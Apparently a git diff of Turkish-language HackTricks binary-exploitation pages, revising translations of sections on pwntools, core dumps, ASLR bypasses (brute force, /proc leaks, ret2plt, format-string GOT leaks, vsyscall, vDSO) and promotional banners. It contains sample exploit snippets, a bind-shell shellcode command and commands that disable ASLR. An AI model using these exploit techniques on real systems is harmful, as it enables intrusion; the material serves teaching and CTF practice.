Pwn elfdiff @@ -114,7 +115,7 @@ pwn phd ## Pwn shellcraft -Kabuk kodlarını al +Kabuk kodlarını alın ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -135,7 +136,7 @@ pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port * Renkli/renksiz * sistem çağrılarını listele * olası shellcodeları listele -* Paylaşılan kütüphane olarak ELF oluştur +* Paylaşılan kitaplık olarak ELF oluştur ## Pwn şablonu @@ -143,7 +144,7 @@ Bir Python şablonu al ``` pwn template ``` -**Seçebilir:** ana bilgisayar, port, kullanıcı, şifre, yol ve sessiz +**Seçebilirsiniz:** ana bilgisayar, port, kullanıcı, şifre, yol ve sessiz ## Pwn unhex @@ -157,16 +158,17 @@ Pwntools'u güncellemek için ``` pwn update ``` +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** -* **Hacking püf noktalarınızı paylaşın, PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/README.md b/binary-exploitation/common-binary-protections-and-bypasses/README.md index 17d49b31d..1e70ce005 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/README.md @@ -1,53 +1,40 @@ -# Yaygın Binary Saldırı Korumaları ve Atlatmaları +# Yaygın Binary Saldırı Korumaları ve Atlamaları + +{% hint style="success" %} +AWS Hacking'i öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking'i öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da **takip edin**. -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} -## Çekirdek Dosyalarını Etkinleştir +## Çekirdek Dosyalarını Etkinleştirme -**Çekirdek dosyaları**, bir işlem çöktüğünde işletim sistemi tarafından oluşturulan bir tür dosyadır. Bu dosyalar, çöken işlemin bellek görüntüsünü, kayıtlarını ve program sayacı durumunu içeren diğer ayrıntıları, çökmenin nedenini hata ayıklamak ve anlamak için son derece değerli olabilir. +**Çekirdek dosyaları**, bir işlem çöktüğünde işletim sistemi tarafından oluşturulan bir tür dosyadır. Bu dosyalar, çöken işlemin bellek görüntüsünü, kayıtlarını ve program sayacı durumunu içeren ayrıntıları içerir. Bu anlık görüntü, çökerken neden olduğunu hata ayıklamak ve anlamak için son derece değerli olabilir. ### **Çekirdek Dökümü Oluşturmayı Etkinleştirme** -Varsayılan olarak, birçok sistem çekirdek dosyalarının boyutunu 0'a (yani çekirdek dosyaları oluşturmaz) sınırlar ve disk alanı tasarrufu yapar. Çekirdek dosyalarının oluşturulmasını etkinleştirmek için **`ulimit`** komutunu (bash veya benzer kabuklarda) kullanabilir veya sistem genelinde ayarlar yapılandırabilirsiniz. +Varsayılan olarak, birçok sistem çekirdek dosyalarının boyutunu 0'a (yani çekirdek dosyaları oluşturmaz) sınırlar ve disk alanı tasarrufu yapar. Çekirdek dosyalarının oluşturulmasını etkinleştirmek için **`ulimit`** komutunu (bash veya benzer kabuklarda) kullanabilir veya sistem genelinde ayarlar yapabilirsiniz. -* **Ulimit Kullanımı**: `ulimit -c unlimited` komutu mevcut kabuk oturumunun sınırsız boyutta çekirdek dosyaları oluşturmasına izin verir. Bu, hata ayıklama oturumları için faydalıdır ancak yeniden başlatmalar veya yeni oturumlar arasında kalıcı değildir. +* **Ulimit Kullanımı**: `ulimit -c unlimited` komutu geçerli kabuk oturumunun sınırsız boyutta çekirdek dosyaları oluşturmasına izin verir. Bu, hata ayıklama oturumları için faydalıdır ancak yeniden başlatmalar veya yeni oturumlar arasında kalıcı değildir. ```bash ulimit -c unlimited ``` -* **Kalıcı Yapılandırma**: Daha kalıcı bir çözüm için, tüm kullanıcıların oturumlarında manuel olarak ulimit ayarlamadan sınırsız boyutta core dosyaları oluşturmalarına izin veren `* soft core unlimited` gibi bir satırı içeren `/etc/security/limits.conf` dosyasını düzenleyebilirsiniz. +* **Kalıcı Yapılandırma**: Daha kalıcı bir çözüm için, tüm kullanıcıların oturumlarında ulimit'i manuel olarak ayarlamadan sınırsız boyutta core dosyaları oluşturmalarına izin veren `* soft core unlimited` gibi bir satırı içeren `/etc/security/limits.conf` dosyasını düzenleyebilirsiniz. ```markdown * soft core unlimited ``` ### **GDB ile Çekirdek Dosyalarının Analizi** -Bir çekirdek dosyasını analiz etmek için, GDB (GNU Debugger) gibi hata ayıklama araçlarını kullanabilirsiniz. Varsayalım ki bir çekirdek dökümü oluşturan yürütülebilir bir dosyanız var ve çekirdek dosyasının adı `core_file` ise, analize şu şekilde başlayabilirsiniz: +Bir çekirdek dosyasını analiz etmek için, GDB (GNU Debugger) gibi hata ayıklama araçlarını kullanabilirsiniz. Varsayalım ki bir çekirdek dökümü oluşturan yürütülebilir bir dosyanız var ve çekirdek dosyasının adı `core_file` ise analize şu şekilde başlayabilirsiniz: ```bash gdb /path/to/executable /path/to/core_file ``` -Bu komut, yürütülebilir dosyayı ve çekirdek dosyasını GDB'ye yükler ve çökme anındaki program durumunu incelemenizi sağlar. Yığını keşfetmek, değişkenleri incelemek ve çökmenin nedenini anlamak için GDB komutlarını kullanabilirsiniz. - -
- -Sıfırdan başlayarak AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)! - -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı **takip edin**. -* Hacking püf noktalarınızı paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. - -
+Bu komut, yürütülebilir dosyayı ve çekirdek dosyasını GDB'ye yükler ve çökme anındaki program durumunu incelemenizi sağlar. GDB komutlarını kullanarak yığını keşfedebilir, değişkenleri inceleyebilir ve çökmenin nedenini anlayabilirsiniz. diff --git a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md index 500d392bb..f033e16e6 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md @@ -1,30 +1,31 @@ # ASLR +{% hint style="success" %} +AWS Hacking öğrenin ve uygulayın:[**HackTricks Eğitimi AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP Hacking öğrenin ve uygulayın: [**HackTricks Eğitimi GCP Kırmızı Takım Uzmanı (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)! +HackTricks'i Destekleyin -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin! +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.** +* **Hacking püf noktalarını paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+{% endhint %} ## Temel Bilgiler -**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçleri tarafından kullanılan bellek adreslerini **rastgeleleştirir**. Böylece, belirli süreçlerin ve verilerin konumunu, özellikle tampon taşmalarını hafifletirken, bir saldırganın tahmin etmesini önemli ölçüde zorlaştırır. +**Adres Alanı Düzeni Rastgeleleştirme (ASLR)**, işletim sistemlerinde kullanılan bir güvenlik tekniğidir ve sistem ve uygulama süreçlerinin kullandığı bellek adreslerini **rastgeleleştirir**. Böyle yaparak, belirli süreçlerin ve verilerin konumunu, özellikle yığın, bellek havuzu ve kütüphaneleri tahmin etmeyi önemli ölçüde zorlaştırarak, belirli türdeki saldırıları, özellikle tampon taşmalarını azaltır. ### **ASLR Durumunu Kontrol Etme** -Linux sistemlerinde ASLR durumunu **kontrol etmek** için, ASLR'nin uygulandığı türü belirleyen **`/proc/sys/kernel/randomize_va_space`** dosyasından değeri okuyabilirsiniz: +Linux sistemlerinde ASLR durumunu **kontrol etmek** için, ASLR'nin uygulandığı türü belirlemek için **`/proc/sys/kernel/randomize_va_space`** dosyasından değeri okuyabilirsiniz: * **0**: Rastgeleleştirme yok. Her şey statiktir. * **1**: Muhafazakar rastgeleleştirme. Paylaşılan kütüphaneler, yığın, mmap(), VDSO sayfası rastgeleleştirilir. -* **2**: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra `brk()` ile yönetilen bellek de rastgeleleştirilir. +* **2**: Tam rastgeleleştirme. Muhafazakar rastgeleleştirme tarafından rastgeleleştirilen öğelerin yanı sıra `brk()` ile yönetilen bellek rastgeleleştirilir. ASLR durumunu aşağıdaki komutla kontrol edebilirsiniz: ```bash @@ -32,7 +33,7 @@ cat /proc/sys/kernel/randomize_va_space ``` ### **ASLR'nin Devre Dışı Bırakılması** -ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakabileceğiniz: +ASLR'yi **devre dışı bırakmak** için `/proc/sys/kernel/randomize_va_space` değerini **0** olarak ayarlarsınız. ASLR'nin devre dışı bırakılması genellikle test veya hata ayıklama senaryoları dışında önerilmez. İşte nasıl devre dışı bırakılacağı: ```bash echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` @@ -49,7 +50,7 @@ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space ``` ### **Yeniden Başlatmalara Karşı Kalıcılık** -`echo` komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenleyip aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir: +`echo` komutları ile yapılan değişiklikler geçicidir ve yeniden başlatıldığında sıfırlanacaktır. Değişikliği kalıcı hale getirmek için `/etc/sysctl.conf` dosyasını düzenlemeniz ve aşağıdaki satırı eklemeniz veya değiştirmeniz gerekmektedir: ```tsconfig kernel.randomize_va_space=2 # Enable ASLR # or @@ -67,30 +68,30 @@ Bu, ASLR ayarlarınızın yeniden başlatmalar arasında kalmasını sağlayacak PaX işlem adres alanını **3 gruba** ayırır: -* **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken her işlemle rastgele olarak başlatılır ve başlangıç adreslerine eklenir. -* `mmap()` tarafından ayrılan **Bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` olarak adlandırılır. +* **Kod ve veri** (başlatılmış ve başlatılmamış): `.text`, `.data` ve `.bss` —> `delta_exec` değişkeninde **16 bit** entropi. Bu değişken her işlemle rastgele başlatılır ve başlangıç adreslerine eklenir. +* `mmap()` tarafından ayrılan **Bellek** ve **paylaşılan kütüphaneler** —> **16 bit**, `delta_mmap` adı verilir. * **Yığın** —> **24 bit**, `delta_stack` olarak adlandırılır. Ancak, etkili olarak **11 bit** kullanır (10. ile 20. bayt arasında dahil), **16 bayt**'a hizalanmıştır —> Bu, **524,288 olası gerçek yığın adresi**ne yol açar. Önceki veriler 32 bit sistemler içindir ve azaltılmış son entropi, saldırı başarılı bir şekilde tamamlanana kadar işlemi tekrar tekrar deneyerek ASLR'yi atlatmayı mümkün kılar. #### Kaba kuvvet fikirleri: -* **Kabul edilebilir büyüklükte bir taşma** ile **büyük bir NOP kaydı barındırabilecek** kadar büyükse, yığında adresleri kaba kuvvetle deneyebilir ve akışın **NOP kaydının bir kısmının üzerinden atlamasını** sağlayabilirsiniz. -* Taşma yeterince büyük değilse ve saldırı yerel olarak çalıştırılabilirse, **NOP kaydını ve shellcode'u bir ortam değişkenine eklemek** mümkündür. +* **Kabul edilebilir büyüklükte bir taşma** varsa ve **kabuk kodundan önce büyük bir NOP kaydı barındırabilirseniz**, yığında adresleri kaba kuvvetle deneyebilir ve akışın **NOP kaydının bir kısmının üzerinden atlamasını** sağlayabilirsiniz. +* Taşma o kadar büyük değilse ve saldırı yerel olarak çalıştırılabilirse, **NOP kaydını ve kabuk kodunu bir ortam değişkenine eklemek** mümkündür. * Saldırı yerel ise, libc'nin temel adresini kaba kuvvetle deneyebilirsiniz (32 bit sistemler için faydalıdır): ```python for off in range(0xb7000000, 0xb8000000, 0x1000): ``` -* Uzak bir sunucuyu hedef alıyorsanız, `usleep` `libc` fonksiyonunun adresini **kaba kuvvet uygulayabilirsiniz**, örneğin 10'u argüman olarak geçirerek. Eğer sunucu **cevap vermek için 10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir. +* Uzak bir sunucuyu hedef alıyorsanız, `libc` fonksiyonu `usleep`'in adresini **10 (örneğin) olarak argüman geçerek** **brute-force** yapabilirsiniz. Eğer sunucu **cevap vermek için 10 saniye daha fazla zaman alıyorsa**, bu fonksiyonun adresini buldunuz demektir. {% hint style="success" %} 64 bit sistemlerde entropi çok daha yüksektir ve bu mümkün olmamalıdır. {% endhint %} -### 64 bit yığın kaba kuvvet saldırısı +### 64 bit yığın brute-force -Çevre değişkenleriyle yığının büyük bir kısmını işgal etmek ve ardından binleri/yüzleri kez yerel olarak kötüye kullanmak mümkündür.\ -Aşağıdaki kod, yığında **yalnızca bir adres seçmenin** ve her **birkaç yüz kez çalıştırmanın** bu adresin **NOP talimatını** içereceğini göstermektedir: +Çevresel değişkenlerle yığının büyük bir kısmını işgal etmek mümkündür ve ardından binayı yüzlerce/binlerce kez yerel olarak kötüye kullanmak için deneme yapılabilir.\ +Aşağıdaki kod, yığında **sadece bir adres seçmenin** mümkün olduğunu ve her **birkaç yüz çalıştırmada** bu adresin **NOP talimatını** içereceğini göstermektedir: ```c //clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie #include @@ -158,26 +159,26 @@ pass ### Yerel Bilgiler (`/proc/[pid]/stat`) -Bir işlemin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve **şunlar gibi ilginç** bilgiler içerir: +Bir işlemin **`/proc/[pid]/stat`** dosyası her zaman herkes tarafından okunabilir ve içerisinde şu gibi **ilginç** bilgiler bulunur: -- **startcode** & **endcode**: Binary'nin **TEXT** kısmının üstünde ve altındaki adresler -- **startstack**: **stack**'in başlangıç adresi -- **start\_data** & **end\_data**: **BSS**'nin bulunduğu adreslerin üstünde ve altındaki adresler +- **startcode** & **endcode**: **BINARY**'nin **TEXT** kısmının üstünde ve altındaki adresler +- **startstack**: **Stack**'in başlangıç adresi +- **start\_data** & **end\_data**: **BSS**'nin üstünde ve altındaki adresler - **kstkesp** & **kstkeip**: Mevcut **ESP** ve **EIP** adresleri -- **arg\_start** & **arg\_end**: **cli argümanlarının** bulunduğu adreslerin üstünde ve altındaki adresler -- **env\_start** & **env\_end**: **çevre değişkenlerinin** bulunduğu adreslerin üstünde ve altındaki adresler +- **arg\_start** & **arg\_end**: **cli argümanlarının** üstünde ve altındaki adresler +- **env\_start** & **env\_end**: **Çevre değişkenlerinin** üstünde ve altındaki adresler -Bu nedenle, saldırgan, söz konusu binary'nin aynı bilgisayarda olduğu ve bu binary'nin ham argümanlardan taşma beklemiyor olması durumunda, ancak bu dosyayı okuduktan sonra oluşturulabilecek farklı bir **girdiden taşma bekliyorsa**, saldırganın **bu dosyadan bazı adresleri alıp bunlardan ofsetler oluşturması mümkündür**. +Bu nedenle, saldırgan, söz konusu binary'nin taşmadan beklenmedik bir **girişten değil, bu dosyayı okuduktan sonra oluşturulabilecek farklı bir girişten** kaynaklanması durumunda ve saldırgan, **bu dosyadan bazı adresleri alıp bunlardan exploit için ofsetler oluşturabilir**. {% hint style="success" %} -Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresine giderek `/proc/pid/stat`'ı arayın. +Bu dosya hakkında daha fazla bilgi için [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) adresinde `/proc/pid/stat` araması yapın. {% endhint %} ### Bir sızıntıya sahip olmak - **Zorluk, bir sızıntı vermek** -Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntılardan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayalım). Bu örnek exploit, [**buradan örnekten çıkarılmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (daha fazla ayrıntı için o sayfaya bakın): +Eğer bir sızıntı verilirse (kolay CTF zorlukları), bu sızıntılardan ofsetler hesaplayabilirsiniz (örneğin, söz konusu sistemin kullandığı kesin libc sürümünü bildiğinizi varsayarsak). Bu örnek exploit, [**buradaki örneğin**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) çıkarımıdır (daha fazla ayrıntı için o sayfaya bakın): ```python from pwn import * @@ -204,7 +205,7 @@ p.interactive() ``` * **ret2plt** -Tampon taşması kullanılarak **ret2plt**'yi istismar etmek, bir libc fonksiyonunun adresini dışarı sızdırmak mümkün olabilir. Kontrol edin: +Tampon taşması kullanılarak **ret2plt**'yi istismar etmek, bir libc fonksiyonunun adresini dışarı sızdırmak mümkün olacaktır. Kontrol edin: {% content-ref url="ret2plt.md" %} [ret2plt.md](ret2plt.md) @@ -212,7 +213,7 @@ Tampon taşması kullanılarak **ret2plt**'yi istismar etmek, bir libc fonksiyon * **Format Strings Arbitrary Read** -Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yeteneğiniz varsa, bir **libc fonksiyonunun** adresini GOT'tan dışarı sızdırmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): +Ret2plt'de olduğu gibi, bir format dizileri zafiyeti aracılığıyla keyfi okuma yetkiniz varsa, **GOT**'dan bir **libc fonksiyonunun** adresini dışarı sızdırmak mümkündür. Aşağıdaki [**örnek buradan alınmıştır**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -239,12 +240,12 @@ Stack içindeki adresleri istismar ederek ASLR'yi atlamayı deneyin: ### vsyscall -**`vsyscall`** mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmak için hizmet verir. **Vsyscalls**'ın kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adreslerinde** yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamaları anlamına gelir.\ -Ancak, burada çok ilginç araçlar bulunmayacak (örneğin bir `ret;` eşdeğerini almak mümkündür) +**`vsyscall`** mekanizması, belirli sistem çağrılarının çekirdek parçası olmalarına rağmen kullanıcı alanında yürütülmesine izin vererek performansı artırmayı amaçlar. **vsyscalls**'ın kritik avantajı, **ASLR**'ye (Adres Alanı Düzeni Rastgeleleştirme) tabi olmayan **sabit adreslerinde** yatmaktadır. Bu sabit doğa, saldırganların adreslerini belirlemek ve bir saldırıda kullanmak için bir bilgi sızıntısı zafiyetine ihtiyaç duymamaları anlamına gelir.\ +Ancak, burada çok ilginç araçlar bulunmayacaktır (örneğin bir `ret;` eşdeğeri alınabilir) -(Aşağıdaki örnek ve kod [**bu yazıdan alınmıştır**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation)) +(Örnek ve kod [**bu yazıdan**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation) alınmıştır) -Örneğin, bir saldırgan, bir saldırıda `0xffffffffff600800` adresini kullanabilir. Bir `ret` talimatına doğrudan atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilir, ancak yürütmenin **vsyscall** bölümü tarafından sağlanan bir `syscall`'ın başlangıcına atlaması başarılı olabilir. Bir **ROP** aracını dikkatlice yerleştirerek, saldırgan bu **vsyscall** adresine yürütmeyi yönlendiren bir **ROP** aracı yerleştirerek, bir saldırının bu kısmı için **ASLR**'yi atlamaya gerek duymadan kod yürütme başarabilir. +Örneğin, bir saldırgan, bir saldırıda `0xffffffffff600800` adresini kullanabilir. Bir `ret` talimatına doğrudan atlamaya çalışmak, birkaç araç yürütüldükten sonra kararsızlığa veya çökmelere yol açabilirken, **vsyscall** bölümü tarafından sağlanan bir `syscall`'ın başına atlamak başarılı olabilir. Bir **ROP** aracını dikkatlice yerleştirerek bu **vsyscall** adresine yürütmeyi yönlendiren bir saldırgan, bu saldırının bu kısmı için **ASLR**'yi atlamaya gerek duymadan kod yürütme başarısına ulaşabilir. ``` ef➤ vmmap Start End Offset Perm Path @@ -287,7 +288,7 @@ gef➤ x/4i 0xffffffffff600800 ``` ### vDSO -Bu nedenle, **kernel CONFIG\_COMPAT\_VDSO ile derlenmişse vdso'nun adresi rastgele hale getirilmeyeceğinden ASLR'yi atlayabilirsiniz**. Daha fazla bilgi için kontrol edin: +Bu nedenle, **kernel CONFIG\_COMPAT\_VDSO ile derlenmişse vdso'nun adresi rastgele olmayacağından ASLR'yi atlayabilirsiniz**. Daha fazla bilgi için şuraya bakın: {% content-ref url="../../rop-return-oriented-programing/ret2vdso.md" %} [ret2vdso.md](../../rop-return-oriented-programing/ret2vdso.md) diff --git a/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md b/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md index ec100374e..f113ca8a9 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/aslr/ret2plt.md @@ -1,22 +1,8 @@ # Ret2plt -
- -AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Red Team Expert) ile! - -HackTricks'ı desteklemenin diğer yolları: - -* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! -* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin -* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'da takip edin** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. - -
- ## Temel Bilgiler -Bu teknikteki amaç, **PLT'den bir işlevin adresini sızdırmak** ve ASLR'yi atlamak için kullanmaktır. Bu, örneğin, libc'den `puts` işlevinin adresini sızdırırsanız, ardından **`libc`'nin tabanını hesaplayabilir** ve diğer işlevlere erişmek için **`system`** gibi işlevlere erişmek için ofsetleri hesaplayabilirsiniz. +Bu teknikteki amaç, ASLR'yi atlamak için PLT'den bir işlevin adresini sızdırmaktır. Bu, örneğin, libc'ten `puts` işlevinin adresini sızdırırsanız, ardından `libc`'nin tabanını hesaplayabilir ve diğer işlevlere erişmek için ofsetleri hesaplayabilirsiniz, örneğin `system`. Bu, `pwntools` yüküyle şu şekilde yapılabilir ([**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)): ```python @@ -37,15 +23,15 @@ elf.plt['puts'], elf.symbols['main'] ) ``` -**`puts`** (PLT adresinden kullanılarak) `puts`'ın GOT'ta (Global Offset Table) bulunan adresi ile çağrıldığını gözlemleyin. Bu, `puts` GOT girdisini yazdırdığında, bu girdinin hafızadaki `puts`'ın tam adresini içereceği anlamına gelir. +**`puts`** fonksiyonunun (PLT'den adresi kullanarak) `puts`'un GOT'ta (Global Offset Table) bulunan adresi ile çağrıldığını göz önünde bulundurun. Bu, `puts` GOT girdisini yazdırdığında, bu girişin bellekteki `puts` 